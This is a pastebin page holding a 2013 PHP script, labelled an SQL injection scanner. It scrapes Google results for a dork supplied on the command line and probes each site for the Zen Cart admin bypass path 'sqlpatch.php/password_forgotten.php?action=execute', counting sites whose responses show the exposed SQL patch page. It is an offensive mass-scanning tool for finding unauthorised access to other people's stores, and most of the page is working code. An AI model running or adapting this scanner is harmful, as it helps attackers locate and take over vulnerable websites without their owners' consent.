[PHP] SQL Injection Scanner


SUBMITTED BY: Guest

DATE: Nov. 24, 2013, 3:27 a.m.

FORMAT: PHP

SIZE: 2.6 kB

HITS: 26360

  1. <?php
  2. /**
  3. * SQL Injection Scanner
  4. * PHP Version By XShimeX
  5. * Version 1.0
  6. * Thanks To: TBDSecurity.Com, <b style="color:black;background-color:#ffff66">HMSecurity</b>.org, All my friends, And ALLAH.
  7. */
  8. set_time_limit(0);
  9. $vuln = 0;
  10. $not_vuln = 0;
  11. $total = 0;
  12. print "[+] SQL Injection Scanner PHP Version\n";
  13. print "[+] Version 1.0 By XShimeX\n";
  14. if(!$argv[1]) {
  15. print "[%] Usage: $argv[0] <dork>\n";
  16. print "[%] Example : $argv[0] inurl:news.php?id=\n";
  17. exit;
  18. }
  19. /**
  20. * SQL Bug(syntax error) takes from here: http://www.darkc0de.com/others/devilzc0de.py
  21. */
  22. $bug = array(
  23. 'If you are installing 3rd-party contributions, note that you do so at your own risk',
  24. 'BE SURE TO DO A FULL DATABASE BACKUP BEFORE RUNNING SCRIPTS HERE',
  25. 'Zen Cartâ„¢ makes no warranty as to the safety of scripts supplied by 3rd-party contributors. Test before using on your live database',
  26. 'NOTE: Zen Cart database-upgrade scripts should NOT be run from this page',
  27. 'Please upload the new zc_install folder and run the upgrade from there instead for better reliability'
  28. );
  29. print "[@] Start Finding Links...\n";
  30. for($i = 0; $i <= 900; $i += 10) {
  31. $fp = @file_get_contents("http://www.google.com/search?q=$argv[1]&num=10&hl=en&as_qdr=all&start=$i&sa=N");
  32. @preg_match_all("/<h3 class=(.*?)><a href=\"(.*?)\" class=(.*?)>/", $fp, $links);
  33. $url[] = $links[2];
  34. }
  35. print "[@] Done Finding Links...\n";
  36. print "[@] Now searching for Vulnerable\n";
  37. foreach($url as $key) {
  38. foreach($key as $value) {
  39. $fp = @file_get_contents($value."/admin/sqlpatch.php/password_forgotten.php?action=execute");
  40. foreach($bug as $error) {
  41. if(@preg_match("/$error/", $fp)) {
  42. print "[#] zen cart error: $value'\n";
  43. $vuln++;
  44. } else {
  45. $not_vuln++;
  46. }
  47. $total++;
  48. }
  49. }
  50. }
  51. print "[@] Done Scanning\n";
  52. print "[%] Result\n";
  53. print "[-] Total Vulnerable: $vuln\n";
  54. print "[-] Total Not Vulnerable : $not_vuln\n";
  55. print "[-] Total scanned Website: $total\n";
  56. print "Enjoy :)\n";
  57. ?>

comments powered by Disqus